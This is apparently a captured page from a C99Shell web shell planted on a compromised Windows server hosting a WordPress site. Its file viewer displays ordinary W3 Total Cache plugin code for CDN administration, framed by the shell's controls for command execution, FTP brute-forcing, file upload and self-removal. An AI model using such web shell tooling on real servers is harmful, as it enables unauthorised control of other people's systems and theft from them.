!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

C:\Users\DMZ\Desktop\cumbreclima0909\wp-content\plugins\w3-total-cache\lib\W3\AdminActions\   drwxrwxrwx
Free 4.09 GB of 39.52 GB (10.35%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     CdnActionsAdmin.php (29.99 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
if (!defined('W3TC')) {
    die();
}
w3_require_once(W3TC_INC_FUNCTIONS_DIR '/admin.php');

class 
W3_AdminActions_CdnActionsAdmin {

    
/**
     * @var W3_Config $_config
     */
    
private $_config null;
    private 
$_page;
    function 
__construct() {
        
$this->_config w3_instance('W3_Config');
        
w3_require_once(W3TC_LIB_W3_DIR '/Request.php');
        
w3_require_once(W3TC_INC_FUNCTIONS_DIR '/admin.php');
        
$this->_page w3tc_get_current_page();
    }

    
/**
     * CDN queue action
     *
     * @return void
     */
    
function action_cdn_queue() {
        
w3_require_once(W3TC_LIB_W3_DIR '/Request.php');

        
$w3_plugin_cdn w3_instance('W3_Plugin_CdnAdmin');
        
$cdn_queue_action W3_Request::get_string('cdn_queue_action');
        
$cdn_queue_tab W3_Request::get_string('cdn_queue_tab');

        
$notes = array();

        switch (
$cdn_queue_tab) {
            case 
'upload':
            case 
'delete':
            case 
'purge':
                break;

            default:
                
$cdn_queue_tab 'upload';
        }

        switch (
$cdn_queue_action) {
            case 
'delete':
                
$cdn_queue_id W3_Request::get_integer('cdn_queue_id');
                if (!empty(
$cdn_queue_id)) {
                    
$w3_plugin_cdn->queue_delete($cdn_queue_id);
                    
$notes[] = __('File successfully deleted from the queue.''w3-total-cache');
                }
                break;

            case 
'empty':
                
$cdn_queue_type W3_Request::get_integer('cdn_queue_type');
                if (!empty(
$cdn_queue_type)) {
                    
$w3_plugin_cdn->queue_empty($cdn_queue_type);
                    
$notes[] = __('Queue successfully emptied.''w3-total-cache');
                }
                break;

            case 
'process':
                
$w3_plugin_cdn_normal w3_instance('W3_Plugin_Cdn');
                
$n $w3_plugin_cdn_normal->cron_queue_process();
                
$notes[] = sprintf(__('Number of processed queue items: %d''w3-total-cache'), $n);
                break;
        }

        
$nonce wp_create_nonce('w3tc');
        
$queue $w3_plugin_cdn->queue_get();
        
$title __('Unsuccessful file transfer queue.''w3-total-cache');

        include 
W3TC_INC_DIR '/popup/cdn_queue.php';
    }

    
/**
     * CDN export library action
     *
     * @return void
     */
    
function action_cdn_export_library() {
        
$w3_plugin_cdn w3_instance('W3_Plugin_CdnAdmin');

        
$total $w3_plugin_cdn->get_attachments_count();
        
$title __('Media Library export''w3-total-cache');

        include 
W3TC_INC_DIR '/popup/cdn_export_library.php';
    }

    
/**
     * CDN export library process
     *
     * @return void
     */
    
function action_cdn_export_library_process() {
        
w3_require_once(W3TC_LIB_W3_DIR '/Request.php');

        
$w3_plugin_cdn w3_instance('W3_Plugin_CdnAdmin');

        
$limit W3_Request::get_integer('limit');
        
$offset W3_Request::get_integer('offset');

        
$count null;
        
$total null;
        
$results = array();

        @
$w3_plugin_cdn->export_library($limit$offset$count$total$results);

        
$response = array(
            
'limit' => $limit,
            
'offset' => $offset,
            
'count' => $count,
            
'total' => $total,
            
'results' => $results
        
);

        echo 
json_encode($response);
    }

    
/**
     * CDN import library action
     *
     * @return void
     */
    
function action_cdn_import_library() {
        
$w3_plugin_cdn w3_instance('W3_Plugin_CdnAdmin');
        
$w3_plugin_cdncommon w3_instance('W3_Plugin_CdnCommon');

        
$cdn $w3_plugin_cdncommon->get_cdn();

        
$total $w3_plugin_cdn->get_import_posts_count();
        
$cdn_host $cdn->get_domain();

        
$title __('Media Library import''w3-total-cache');

        include 
W3TC_INC_DIR '/popup/cdn_import_library.php';
    }

    
/**
     * CDN import library process
     *
     * @return void
     */
    
function action_cdn_import_library_process() {
        
w3_require_once(W3TC_LIB_W3_DIR '/Request.php');

        
$w3_plugin_cdn w3_instance('W3_Plugin_CdnAdmin');

        
$limit W3_Request::get_integer('limit');
        
$offset W3_Request::get_integer('offset');

        
$count null;
        
$total null;
        
$results = array();

        @
$w3_plugin_cdn->import_library($limit$offset$count$total$results);

        
$response = array(
            
'limit' => $limit,
            
'offset' => $offset,
            
'count' => $count,
            
'total' => $total,
            
'results' => $results
        
);

        echo 
json_encode($response);
    }

    
/**
     * CDN rename domain action
     *
     * @return void
     */
    
function action_cdn_rename_domain() {
        
$w3_plugin_cdn w3_instance('W3_Plugin_CdnAdmin');

        
$total $w3_plugin_cdn->get_rename_posts_count();

        
$title __('Modify attachment URLs''w3-total-cache');

        include 
W3TC_INC_DIR '/popup/cdn_rename_domain.php';
    }

    
/**
     * CDN rename domain process
     *
     * @return void
     */
    
function action_cdn_rename_domain_process() {
        
w3_require_once(W3TC_LIB_W3_DIR '/Request.php');

        
$w3_plugin_cdn w3_instance('W3_Plugin_CdnAdmin');

        
$limit W3_Request::get_integer('limit');
        
$offset W3_Request::get_integer('offset');
        
$names W3_Request::get_array('names');

        
$count null;
        
$total null;
        
$results = array();

        @
$w3_plugin_cdn->rename_domain($names$limit$offset$count$total$results);

        
$response = array(
            
'limit' => $limit,
            
'offset' => $offset,
            
'count' => $count,
            
'total' => $total,
            
'results' => $results
        
);

        echo 
json_encode($response);
    }

    
/**
     * CDN export action
     *
     * @return void
     */
    
function action_cdn_export() {
        
w3_require_once(W3TC_LIB_W3_DIR '/Request.php');

        
$w3_plugin_cdn w3_instance('W3_Plugin_Cdn');

        
$cdn_export_type W3_Request::get_string('cdn_export_type''custom');

        switch (
$cdn_export_type) {
            case 
'includes':
                
$title __('Includes files export''w3-total-cache');
                
$files $w3_plugin_cdn->get_files_includes();
                break;

            case 
'theme':
                
$title __('Theme files export''w3-total-cache');
                
$files $w3_plugin_cdn->get_files_theme();
                break;

            case 
'minify':
                
$title __('Minify files export''w3-total-cache');
                
$files $w3_plugin_cdn->get_files_minify();
                break;

            default:
            case 
'custom':
                
$title __('Custom files export''w3-total-cache');
                
$files $w3_plugin_cdn->get_files_custom();
                break;
        }

        include 
W3TC_INC_DIR '/popup/cdn_export_file.php';
    }

    
/**
     * CDN export process
     *
     * @return void
     */
    
function action_cdn_export_process() {
        
w3_require_once(W3TC_LIB_W3_DIR '/Request.php');

        
$w3_plugin_cdncommon w3_instance('W3_Plugin_CdnCommon');

        
$files W3_Request::get_array('files');

        
$upload = array();
        
$results = array();

        foreach (
$files as $file) {
            
$local_path $w3_plugin_cdncommon->docroot_filename_to_absolute_path($file);
            
$remote_path $w3_plugin_cdncommon->uri_to_cdn_uri($w3_plugin_cdncommon->docroot_filename_to_uri($file));
            
$upload[] = $w3_plugin_cdncommon->build_file_descriptor($local_path$remote_path);
        }

        
$w3_plugin_cdncommon->upload($uploadfalse$results);

        
$response = array(
            
'results' => $results
        
);

        echo 
json_encode($response);
    }

    
/**
     * CDN purge action
     *
     * @return void
     */
    
function action_cdn_purge() {
        
w3_require_once(W3TC_INC_FUNCTIONS_DIR '/admin_ui.php');

        
$title __('Content Delivery Network (CDN): Purge Tool''w3-total-cache');
        
$results = array();

        
$path ltrim(str_replace(w3_get_home_url(), ''get_stylesheet_directory_uri()), '/');
        include 
W3TC_INC_DIR '/popup/cdn_purge.php';
    }

    
/**
     * CDN purge post action
     *
     * @return void
     */
    
function action_cdn_purge_post() {
        
w3_require_once(W3TC_INC_FUNCTIONS_DIR '/admin_ui.php');

        
$title __('Content Delivery Network (CDN): Purge Tool''w3-total-cache');
        
$results = array();

        
w3_require_once(W3TC_LIB_W3_DIR '/Request.php');

        
$files W3_Request::get_array('files');

        
$purge = array();

        
$w3_plugin_cdncommon w3_instance('W3_Plugin_CdnCommon');

        foreach (
$files as $file) {
            
$local_path $w3_plugin_cdncommon->docroot_filename_to_absolute_path($file);
            
$remote_path $w3_plugin_cdncommon->uri_to_cdn_uri($w3_plugin_cdncommon->docroot_filename_to_uri($file));

            
$purge[] = $w3_plugin_cdncommon->build_file_descriptor($local_path$remote_path);
        }

        if (
count($purge)) {
            
$w3_plugin_cdncommon->purge($purgefalse$results);
        } else {
            
$errors[] = __('Empty files list.''w3-total-cache');
        }

        
$path str_replace(w3_get_home_url(), ''get_stylesheet_directory_uri());
        include 
W3TC_INC_DIR '/popup/cdn_purge.php';
    }

    
/**
     * CDN Purge Post
     *
     * @return void
     */
    
function action_cdn_purge_attachment() {
        
w3_require_once(W3TC_LIB_W3_DIR '/Request.php');

        
$results = array();
        
$attachment_id W3_Request::get_integer('attachment_id');

        
$w3_plugin_cdn w3_instance('W3_Plugin_CdnAdmin');

        if (
$w3_plugin_cdn->purge_attachment($attachment_id$results)) {
            
w3_admin_redirect(array(
                
'w3tc_note' => 'cdn_purge_attachment'
            
), true);
        } else {
            
w3_admin_redirect(array(
                
'w3tc_error' => 'cdn_purge_attachment'
            
), true);
        }
    }

    
/**
     * CDN Test action
     *
     * @return void
     */
    
function action_cdn_test() {
        
w3_require_once(W3TC_LIB_W3_DIR '/Request.php');
        
w3_require_once(W3TC_LIB_W3_DIR '/Cdn.php');

        
$engine W3_Request::get_string('engine');
        
$config W3_Request::get_array('config');

        
//TODO: Workaround to support test case cdn/a04
        
if ($engine == 'ftp' && !isset($config['host'])) {
            
$config W3_Request::get_string('config');
            
$config json_decode($configtrue);
        }

        
$config array_merge($config, array(
            
'debug' => false
        
));

        if (!
is_array($config['domain']) && isset($config['domain'])) {
            
$config['domain'] = explode(','$config['domain']);
        }

        if (
w3_is_cdn_engine($engine)) {
            
$result true;
            
$error null;
        } else {
            
$result false;
            
$error __('Incorrect engine.''w3-total-cache');
        }
        if (!isset(
$config['docroot']))
            
$config['docroot'] = w3_get_document_root();

        if (
$result) {
            
$w3_cdn W3_Cdn::instance($engine$config);

            @
set_time_limit($this->_config->get_integer('timelimit.cdn_test'));

            if (
$w3_cdn->test($error)) {
                
$result true;
                
$error __('Test passed''w3-total-cache');
            } else {
                
$result false;
                
$error sprintf(__('Error: %s''w3-total-cache'), $error);
            }
        }

        
$response = array(
            
'result' => $result,
            
'error' => $error
        
);

        echo 
json_encode($response);
    }


    
/**
     * Create container action
     *
     * @return void
     */
    
function action_cdn_create_container() {
        
w3_require_once(W3TC_LIB_W3_DIR '/Request.php');
        
w3_require_once(W3TC_LIB_W3_DIR '/Cdn.php');

        
$engine W3_Request::get_string('engine');
        
$config W3_Request::get_array('config');

        
$config array_merge($config, array(
            
'debug' => false
        
));

        
$result false;
        
$error __('Incorrect type.''w3-total-cache');
        
$container_id '';

        switch (
$engine) {
            case 
's3':
            case 
'cf':
            case 
'cf2':
            case 
'rscf':
            case 
'azure':
                
$result true;
                break;
        }

        if (
$result) {
            
$w3_cdn W3_Cdn::instance($engine$config);

            @
set_time_limit($this->_config->get_integer('timelimit.cdn_container_create'));

            if (
$w3_cdn->create_container($container_id$error)) {
                
$result true;
                
$error __('Created successfully.''w3-total-cache');
            } else {
                
$result false;
                
$error sprintf(__('Error: %s''w3-total-cache'), $error);
            }
        }

        
$response = array(
            
'result' => $result,
            
'error' => $error,
            
'container_id' => $container_id
        
);

        echo 
json_encode($response);
    }

    
/**
     * S3 bucket location lightbox
     *
     * @return void
     */
    
function action_cdn_s3_bucket_location() {
        
w3_require_once(W3TC_INC_FUNCTIONS_DIR '/admin_ui.php');
        
w3_require_once(W3TC_LIB_W3_DIR '/Request.php');

        
$type W3_Request::get_string('type''s3');

        
$locations = array(
            
'' => 'US (Default)',
            
'us-west-1' => __('US-West (Northern California)''w3-total-cache'),
            
'EU' => 'Europe',
            
'ap-southeast-1' => __('AP-SouthEast (Singapore)''w3-total-cache'),
        );

        include 
W3TC_INC_DIR '/lightbox/cdn_s3_bucket_location.php';
    }


    
/**
     * Includes the manual create pull zone form.
     */
    
function action_cdn_create_netdna_maxcdn_pull_zone_form() {
        
w3_require_once(W3TC_INC_FUNCTIONS_DIR '/admin_ui.php');
        
w3_require_once(W3TC_LIB_W3_DIR '/Request.php');

        
$type W3_Request::get_string('type''maxcdn');
        include 
W3TC_INC_DIR '/lightbox/create_netdna_maxcdn_pull_zone.php';
    }


    
/**
     * Create NetDNA/MaxCDN pullzone
     */
    
function action_cdn_create_netdna_maxcdn_pull_zone() {
        
w3_require_once(W3TC_LIB_W3_DIR '/Request.php');
        
w3_require_once(W3TC_INC_FUNCTIONS_DIR '/admin.php');
        
w3_require_once(W3TC_LIB_NETDNA_DIR '/NetDNA.php');
        
$type W3_Request::get_string('type');
        
$name W3_Request::get_string('name');
        
$label W3_Request::get_string('label');
        
$cdn_engine$type;

        
$authorization_key $this->_config->get_string("cdn.$cdn_engine.authorization_key");
        
$alias $consumerkey $consumersecret '';

        if (
$authorization_key) {
            
$keys explode('+'$authorization_key);
            if (
sizeof($keys) == 3) {
                list(
$alias$consumerkey$consumersecret) =  $keys;
            }
        }
        
$api = new NetDNA($alias$consumerkey$consumersecret);
        
$url w3_get_home_url();
        
$zone = array();
        
$zone['name'] = $name;
        
$zone['label'] = $label;
        
$zone['url'] = $url;
        
$zone['use_stale'] = 1;
        
$zone['queries'] = 1;
        
$zone['compress'] = 1;
        
$zone['backend_compress'] = 1;
        try {
            
$response $api->create_pull_zone($zone);
            try {
                
$temporary_url "$name.$alias.netdna-cdn.com";
                
$test_result = -1;
                if (!
$this->_config->get_array("cdn.$cdn_engine.domain")) {
                    
$test_result $this->test_cdn_url($temporary_url) ? 0;
                    
$this->_config->set("cdn.$cdn_engine.domain", array($temporary_url));
                    if (
$test_result)
                        
$this->_config->set("cdn.enabled"true);
                }
                
$this->_config->save();
                
$config_admin w3_instance('W3_ConfigAdmin');
                
$zones $api->get_pull_zones();
                
$zone_count sizeof($zones);
                
w3tc_make_track_call(array('type'=>'cdn',
                    
'data'=>array(
                        
'cdn' => $type,'action' => 'zonecreation','creation' => 'manual''creationtime' => time()
                        ,
'signupclick' => $config_admin->get_integer('track.maxcdn_signup')
                        ,
'authorizeclick' => $config_admin->get_integer('track.maxcdn_authorize')
                        ,
'validationclick' => $config_admin->get_integer('track.maxcdn_validation')
                        , 
'total_zones' => $zone_count
                        
,'test' => $test_result
                
)));
            } catch (
Exception $ex) {}
            echo 
json_encode(array('status' => 'success','message' => 'Pull Zone created.''temporary_url' => "$name.$alias.netdna-cdn.com"'data' => $response));
        } catch (
Exception $ex) {
            echo 
json_encode(array('status' => 'error','message' => $ex->getMessage()));
        }
    }

    
/**
     * Validates the authorization key and echos json encoded data connected with the key.
     */
    
function action_cdn_validate_authorization_key() {
        
w3_require_once(W3TC_LIB_W3_DIR '/Request.php');
        
w3_require_once(W3TC_LIB_NETDNA_DIR '/NetDNA.php');

        
$cdn_engine W3_Request::get_string('type');
        
$this->validate_cdnengine_is_netdna_maxcdn($cdn_engine);
        
$authorization_key W3_Request::get_string('authorization_key');
        
$this->validate_authorization_key($authorization_key);
        
$keys explode('+'$authorization_key);
        list(
$alias$consumer_key$consumer_secret) = $keys;
        
$api = new NetDNA($alias$consumer_key$consumer_secret);
        
$this->validate_account($api);
        try {
            
$pull_zones $api->get_zones_by_url(w3_get_home_url());
            if (
sizeof($pull_zones) == 0) {
                
$result = array('result' => 'create');
                try {
                    
$this->_config->set("cdn.$cdn_engine.authorization_key"$authorization_key);
                    
$this->_config->save();
                } catch (
Exception $ex) {}
            } elseif (
sizeof($pull_zones) == 1) {
                
$custom_domains $api->get_custom_domains($pull_zones[0]['id']);
                if (
sizeof($custom_domains) > 0) {
                    
$result = array('result' => 'single''cnames' => array($custom_domains));
                    
$this->_config->set("cdn.$cdn_engine.domain"$custom_domains);
                    
$this->_config->set("cdn.enabled"true);
                } else {
                    
$name $pull_zones[0]['name'];
                    
$result = array('result' => 'single''cnames' => array("$name.$alias.netdna-cdn.com"));
                }
                
$this->_config->set("cdn.$cdn_engine.zone_id"$pull_zones[0]['id']);
                
$this->_config->set("cdn.$cdn_engine.authorization_key"$authorization_key);
                
$this->_config->set("cdn.$cdn_engine.domain"$result['cnames']);
                
$this->_config->save();
            } else {
                
$zones = array();
                
$data = array();
                foreach (
$pull_zones as $zone) {
                    if (empty(
$data)) {
                        
$domains $this->test_cdn_pull_zone($api$zone['id'], $zone['name'], $alias);
                        if (
$domains) {
                            
$data = array('id' => $zone['id'], 'domains' => $domains);
                            
$this->_config->set("cdn.$cdn_engine.zone_id"$zone['id']);
                            
$this->_config->set("cdn.$cdn_engine.domain"$domains);
                        }
                    }
                    
$zones[] = array('id' => $zone['id'], 'name' => $zone['name']);
                }
                
$result = array('result' => 'many''zones' => $zones'data' => $data);
                
$this->_config->set("cdn.$cdn_engine.authorization_key"$authorization_key);
                
$this->_config->save();
            }
            try {
                
$config_admin w3_instance('W3_ConfigAdmin');
                if (
$config_admin->get_integer('track.maxcdn_validation'0) == 0) {
                    
$config_admin->set('track.maxcdn_validation'time());
                    
$config_admin->save();
                }
            } catch(
Exception $ex) {}
        } catch (
Exception $ex) {
            
$result = array('result' => 'error''message' => $ex->getMessage());
        }
        echo 
json_encode($result);
        exit;
    }

    
/**
     * @param NetDNA $api
     * @param int $id
     * @param string $name
     * @param string $alias
     * @return array|null
     */
    
private function test_cdn_pull_zone($api$id$name$alias) {
        try {
            
$domains $api->get_custom_domains($id);
            if (
$domains) {
                
$test true;
                foreach(
$domains as $domain)
                    
$test $test && $this->test_cdn_url($domain);
            } else {
                
$url "$name.$alias.netdna-cdn.com";
                
$test $this->test_cdn_url($url);
                
$domains = array($url);
            }
            if (
$test)
                return 
$domains;
        } catch (
Exception $ex) {}
        return array();
    }
    
/**
     * Validates key and echos encoded message on failure.
     * @param $authorization_key
     */
    
private function validate_authorization_key($authorization_key) {
        if (empty(
$authorization_key)) {
            
$result = array('result' => 'error''message' => __('An authorization key was not provided.''w3-total-cache'));
            echo 
json_encode($result);
            exit;
        }
        
$keys explode('+'$authorization_key);
        if (
sizeof($keys) != 3) {
            
$result = array('result' => 'error''message' => sprintf(__('The provided authorization key is
                             not in the correct format: %s.'
'w3-total-cache'), $authorization_key));
            echo 
json_encode($result);
            exit;

        }
    }

    
/**
     * Validates that the API works and echos message and exists if it fails
     * @param NetDNA $api
     * @return null|array
     */
    
private function validate_account($api) {
        try {
            return 
$api->get_account();
        } catch (
Exception $ex) {
            
$result = array('result' => 'error''message' => $ex->getMessage());
            echo 
json_encode($result);
            exit;
        }
    }

    
/**
     * Create a NetDNA or MaxCDN pull zone automatically
     */
    
function action_cdn_auto_create_netdna_maxcdn_pull_zone() {
        
w3_require_once(W3TC_LIB_NETDNA_DIR '/NetDNA.php');
        
w3_require_once(W3TC_INC_FUNCTIONS_DIR '/admin.php');

        
$cdn_engine W3_Request::get_string('type');
        
$this->validate_cdnengine_is_netdna_maxcdn($cdn_engine);
        
$authorization_key W3_Request::get_string('authorization_key');
        
$this->validate_authorization_key($authorization_key);
        
$keys explode('+'$authorization_key);
        list(
$alias$consumerkey$consumersecret) =  $keys;
        
$url w3_get_home_url();
        try {
            
$api = new NetDNA($alias$consumerkey$consumersecret);
            
$disable_cooker_header $this->_config->get_boolean('browsercache.other.nocookies') ||
                                     
$this->_config->get_boolean('browsercache.cssjs.nocookies');
            
$zone $api->create_default_pull_zone($urlnullnull,
                          array(
'ignore_setcookie_header' => $disable_cooker_header));
            
$name $zone['name'];
            
$temporary_url "$name.$alias.netdna-cdn.com";
            
$test_result = -1;
            if (!
$this->_config->get_array("cdn.$cdn_engine.domain")) {
                
$test_result $this->test_cdn_url($temporary_url) ? 0;
                
$this->_config->set("cdn.$cdn_engine.zone_id"$zone['id']);
                if (
$test_result)
                    
$this->_config->set("cdn.enabled"true);
                
$this->_config->set("cdn.$cdn_engine.domain", array($temporary_url));
            }
            
$this->_config->save();
            
$config_admin w3_instance('W3_ConfigAdmin');
            
$zones $api->get_pull_zones();
            
$zone_count sizeof($zones);
            
w3tc_make_track_call(array('type'=>'cdn',
                
'data'=>array(
                    
'cdn' => $cdn_engine,'action' => 'zonecreation'
                
,'creation' => 'manual''creationtime' => time()
                ,
'signupclick' => $config_admin->get_integer('track.maxcdn_signup')
                ,
'authorizeclick' => $config_admin->get_integer('track.maxcdn_authorize')
                ,
'validationclick' => $config_admin->get_integer('track.maxcdn_validation')
                , 
'total_zones' => $zone_count
                
'test' => $test_result)));
            
$result = array('result' => 'single''cnames' => array($temporary_url));
        } catch (
Exception $ex) {
            
$result = array('result' => 'error''message' => sprintf(__('Could not create default zone.' $ex->getMessage(), 'w3-total-cache')));
        }
        echo 
json_encode($result);
        exit;
    }

    private function 
test_cdn_url($url) {
        
$response wp_remote_get($url);
        if (
is_wp_error($response))
            return 
false;
        else {
            
$code wp_remote_retrieve_response_code($response);
            return 
200 == $code;
        }
    }
    
/**
     * Configures the plugin to use the zone id provided in request
     */
    
function action_cdn_use_netdna_maxcdn_pull_zone() {
        
w3_require_once(W3TC_LIB_W3_DIR '/Request.php');
        
w3_require_once(W3TC_LIB_NETDNA_DIR '/NetDNA.php');

        
$cdn_engine W3_Request::get_string('type');
        
$this->validate_cdnengine_is_netdna_maxcdn($cdn_engine);
        
$authorization_key W3_Request::get_string('authorization_key');
        
$this->validate_authorization_key($authorization_key);
        
$zone_id W3_Request::get_integer('zone_id');
        
$keys explode('+'$authorization_key);
        list(
$alias$consumer_key$consumer_secret) = $keys;
        
$api = new NetDNA($alias$consumer_key$consumer_secret);
        
$this->validate_account($api);
        try {
            
$pull_zone $api->get_zone($zone_id);
            if (
$pull_zone) {
                
$custom_domains $api->get_custom_domains($pull_zone['id']);
                if (
sizeof($custom_domains) > 0) {
                    
$result = array('result' => 'valid''cnames' => array($custom_domains));
                    
$test true;
                    foreach(
$custom_domains as $url)
                        
$test $test && $this->test_cdn_url($url);
                    if (
$test)
                        
$this->_config->set("cdn.enabled"true);
                } else {
                    
$name $pull_zone['name'];
                    
$result = array('result' => 'valid''cnames' => array("$name.$alias.netdna-cdn.com"));
                    
$test $this->test_cdn_url("$name.$alias.netdna-cdn.com");
                    if (
$test)
                        
$this->_config->set("cdn.enabled"true);
                }
                
$this->_config->set("cdn.enabled"true);
                
$this->_config->set("cdn.$cdn_engine.zone_id"$pull_zone['id']);
                
$this->_config->set("cdn.$cdn_engine.domain"$result['cnames']);
                
$this->_config->save();
            } else {
                
$result = array('result' => 'error''message' => sprintf(__('The provided zone id was not connected to the provided authorization key.''w3-total-cache')));
            }
        } catch (
Exception $ex) {
            
$result = array('result' => 'error''message' => $ex->getMessage());
        }

        echo 
json_encode($result);
        exit;
    }

    function 
action_cdn_save_activate() {
        
w3_require_once(W3TC_INC_FUNCTIONS_DIR '/ui.php');
        try {
            
$this->_config->set('cdn.enabled'true);
            
$this->_config->save();
        } catch(
Exception $ex) {}
        
w3_redirect(w3_admin_url(sprintf('admin.php?page=w3tc_cdn#configuration')));
    }

    function 
action_cdn_maxcdn_signup() {
        
w3_require_once(W3TC_INC_FUNCTIONS_DIR '/ui.php');
        try {
            
/**
             * @var W3_ConfigAdmin $config_admin
             */
            
$config_admin w3_instance('W3_ConfigAdmin');
            
$config_admin->set('track.maxcdn_signup'time());
            
$config_admin->save();
        } catch(
Exception $ex) {}
        
w3_redirect(MAXCDN_SIGNUP_URL);
    }

    function 
action_cdn_maxcdn_authorize() {
        
w3_require_once(W3TC_INC_FUNCTIONS_DIR '/ui.php');
        try {
            
/**
             * @var W3_ConfigAdmin $config_admin
             */
            
$config_admin w3_instance('W3_ConfigAdmin');
            if (
$config_admin->get_integer('track.maxcdn_authorize'0) == 0) {
                
$config_admin->set('track.maxcdn_authorize'time());
                
$config_admin->save();
            }
        } catch(
Exception $ex) {}
        
w3_redirect(MAXCDN_AUTHORIZE_URL);
    }

    function 
action_cdn_netdna_authorize() {
        
w3_require_once(W3TC_INC_FUNCTIONS_DIR '/ui.php');
        try {
            
/**
             * @var W3_ConfigAdmin $config_admin
             */
            
$config_admin w3_instance('W3_ConfigAdmin');
            if (
$config_admin->get_integer('track.maxcdn_authorize'0) == 0) {
                
$config_admin->set('track.maxcdn_authorize'time());
                
$config_admin->save();
            }
        } catch(
Exception $ex) {}
        
w3_redirect(NETDNA_AUTHORIZE_URL);
    }

    
/**
     * Validates cdn engine and echos message and exists if it fails
     * @param $cdn_engine
     */
    
private function validate_cdnengine_is_netdna_maxcdn($cdn_engine) {
        if (!
in_array($cdn_engine, array('netdna''maxcdn'))) {
            
$result = array('result' => 'notsupported''message' => sprintf(__('%s is not supported for Pull Zone
            selection.'
'w3-total-cache'), $cdn_engine));
            echo 
json_encode($result);
            exit;
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0312 ]--